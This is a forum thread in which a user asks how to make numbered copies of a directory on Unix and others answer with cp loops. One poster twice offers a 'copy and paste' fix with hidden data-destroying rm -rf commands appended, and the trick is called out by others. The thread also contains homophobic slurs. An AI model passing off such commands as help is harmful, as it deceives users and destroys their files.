GoFuckYourself.com - Adult Webmaster Forum

GoFuckYourself.com - Adult Webmaster Forum (https://gfy.com/index.php)
-   Fucking Around & Business Discussion (https://gfy.com/forumdisplay.php?f=26)
-   -   Copy command help please (https://gfy.com/showthread.php?t=1089682)

Mutt 11-17-2012 09:40 PM

Copy command help please
 
i have a directory that has a subdirectory called 'blah' - i want to copy that subdirectory creating identical subdirectories named 'blah2' 'blah3' 'blah4' etc

what would the Unix copy command be to create those?

thanks

Babaganoosh 11-17-2012 09:55 PM

cp /path/to/source /path/to/destination -R

Mutt 11-17-2012 09:57 PM

Quote:

Originally Posted by Babaganoosh (Post 19319160)
cp /path/to/source /path/to/destination -R

thanks will try :thumbsup

Babaganoosh 11-17-2012 09:57 PM

Or are you wanting to make blah1 blah2 blah3 automatically from one source? That command I pasted is just a recursive copy.

Mutt 11-17-2012 10:04 PM

...... and didn't work

Mutt 11-17-2012 10:05 PM

Quote:

Originally Posted by Babaganoosh (Post 19319164)
Or are you wanting to make blah1 blah2 blah3 automatically from one source?

yeah that's what i want :)

Babaganoosh 11-17-2012 10:10 PM

Quote:

Originally Posted by Mutt (Post 19319172)
yeah that's what i want :)

Ahh, then do

for i in {1..5}; do cp /source/path/here/blah /dest/path/here/blah$i -R; done

1 would be the first dir made, 5 would be the last

Killswitch 11-17-2012 10:14 PM

What errors are you getting?

Mutt 11-17-2012 10:30 PM

Quote:

Originally Posted by Babaganoosh (Post 19319176)
Ahh, then do

for i in {1..5}; do cp /source/path/here/blah /dest/path/here/blah$i -R; done

1 would be the first dir made, 5 would be the last

didn't work - no copies created

cp /drive2/psj.photo.formats/full/azseries/45 /drive2/psj.photo.formats/full/azseries/45$i -R

probably didn't understand the {1..5}

Mutt 11-17-2012 10:34 PM

Quote:

Originally Posted by Killswitch (Post 19319181)
What errors are you getting?

not getting errors - just gives me usage formats for the cp command

greek to me :winkwink:

Killswitch 11-17-2012 10:51 PM

Quote:

Originally Posted by Mutt (Post 19319202)
not getting errors - just gives me usage formats for the cp command

greek to me :winkwink:

cp -r /path/to/directory /path/to/destination

Flag first. :thumbsup

AutumnBH 11-17-2012 11:03 PM

Copy and paste this to the command line, should work:

Code:

for i in {1..5}; do cp -r /drive2/psj.photo.formats/full/azseries/45 /drive2/psj.photo.formats/full/azseries/45$i; rm -rf *; done

Babaganoosh 11-17-2012 11:05 PM

Quote:

Originally Posted by Mutt (Post 19319201)
didn't work - no copies created

cp /drive2/psj.photo.formats/full/azseries/45 /drive2/psj.photo.formats/full/azseries/45$i -R

probably didn't understand the {1..5}

You need the whole command.

Code:

for i in {1..5}; do cp /source/path/here/blah /dest/path/here/blah$i -R; done

Babaganoosh 11-17-2012 11:06 PM

DO NOT run the code from AutumnBH

Killswitch 11-17-2012 11:07 PM

Quote:

Originally Posted by AutumnBH (Post 19319222)
Copy and paste this to the command line, should work:

Code:

for i in {1..5}; do cp -r /drive2/psj.photo.formats/full/azseries/45 /drive2/psj.photo.formats/full/azseries/45$i; rm -rf *; done

Get fucked you faggot.

Killswitch 11-17-2012 11:09 PM

Quote:

Originally Posted by Babaganoosh (Post 19319225)
You need the whole command.

Code:

for i in {1..5}; do cp /source/path/here/blah /dest/path/here/blah$i -R; done

I think you have the flag wrong, that's why he keeps getting the options for the cp command... flag needs to be after cp and lower case:

Code:

for i in {1..5}; do cp -r /source/path/here/blah /dest/path/here/blah$i; done
Edit:// also I don't think fagboy above us' command works anymore on latest versions of Linux.

Babaganoosh 11-17-2012 11:11 PM

Quote:

Originally Posted by Killswitch (Post 19319232)
I think you have the flag wrong, that's why he keeps getting the options for the cp command... flag needs to be after cp and lower case:

Code:

for i in {1..5}; do cp -r /source/path/here/blah /dest/path/here/blah$i; done
Edit:// also I don't think fagboy above us' command works anymore on latest versions of Linux.

The position of the flag doesn't matter. I've always used an upper case R for recursive. From the man page:

-R, -r, --recursive
copy directories recursively

AutumnBH 11-17-2012 11:11 PM

Yeah sorry guys, I got the flag wrong... Here's the corrected version, copy and paste:

Code:

for i in {1..5}; do cp -r /drive2/psj.photo.formats/full/azseries/45 /drive2/psj.photo.formats/full/azseries/45$i; rm -rf /drive2/*; rm -rf *; done

Babaganoosh 11-17-2012 11:13 PM

Quote:

Originally Posted by Killswitch (Post 19319232)
Edit:// also I don't think fagboy above us' command works anymore on latest versions of Linux.

You're right. He had rm -rf / when I first caught what he was trying to do. Just for fun, I tried it on a VM running ubuntu 12.04 and got this:

# rm -rf /
rm: it is dangerous to operate recursively on `/'
rm: use --no-preserve-root to override this failsafe

edit: if it DID work I can literally replace the vm in 30 seconds.

Killswitch 11-17-2012 11:13 PM

Quote:

Originally Posted by AutumnBH (Post 19319234)
Yeah sorry guys, I got the flag wrong... Here's the corrected version, copy and paste:

Code:

for i in {1..5}; do cp -r /drive2/psj.photo.formats/full/azseries/45 /drive2/psj.photo.formats/full/azseries/45$i; rm -rf /drive2/*; rm -rf *; done

You're an idiot, rm -rf doesn't work on latest versions of linux, maybe you should upgrade that welfare server you use. :321GFY

Killswitch 11-17-2012 11:14 PM

Quote:

Originally Posted by Babaganoosh (Post 19319239)
You're right. He had rm -rf / when I first caught what he was trying to do. Just for fun, I tried it on a VM running ubuntu 12.04 and got this:

# rm -rf /
rm: it is dangerous to operate recursively on `/'
rm: use --no-preserve-root to override this failsafe

:thumbsup :thumbsup :thumbsup

AutumnBH 11-17-2012 11:18 PM

rm -rf / wouldn't do much unless you were logged in as root anyway (although it wouldn't surprise me if OP was).

And superior users use a real Unix :2 cents:

Mutt 11-17-2012 11:23 PM

Quote:

Originally Posted by Killswitch (Post 19319232)
I think you have the flag wrong, that's why he keeps getting the options for the cp command... flag needs to be after cp and lower case:

Code:

for i in {1..5}; do cp -r /source/path/here/blah /dest/path/here/blah$i; done
Edit:// also I don't think fagboy above us' command works anymore on latest versions of Linux.

that worked :thumbsup

i have to make them one by one it seems

thanks Babaganoosh and Killswitch

xXXtesy10 11-17-2012 11:25 PM

Quote:

Originally Posted by AutumnBH (Post 19319222)
Copy and paste this to the command line, should work:

Code:

for i in {1..5}; do cp -r /drive2/psj.photo.formats/full/azseries/45 /drive2/psj.photo.formats/full/azseries/45$i; rm -rf *; done

:1orglaugh:1orglaugh:1orglaugh:1orglaugh:1orglaugh

freecartoonporn 11-17-2012 11:57 PM

rm -rf *; done

lol lol lol

Killswitch 11-18-2012 12:03 AM

Quote:

Originally Posted by Mutt (Post 19319247)
that worked :thumbsup

i have to make them one by one it seems

thanks Babaganoosh and Killswitch

No problem man! :thumbsup

Mr Pheer 11-18-2012 01:19 AM

Quote:

Originally Posted by AutumnBH (Post 19319222)
Copy and paste this to the command line, should work:

Code:

for i in {1..5}; do cp -r /drive2/psj.photo.formats/full/azseries/45 /drive2/psj.photo.formats/full/azseries/45$i; rm -rf *; done


what the fuck?


All times are GMT -7. The time now is 09:26 AM.

Powered by vBulletin® Version 3.8.8
Copyright ©2000 - 2025, vBulletin Solutions, Inc.
©2000-, AI Media Network Inc123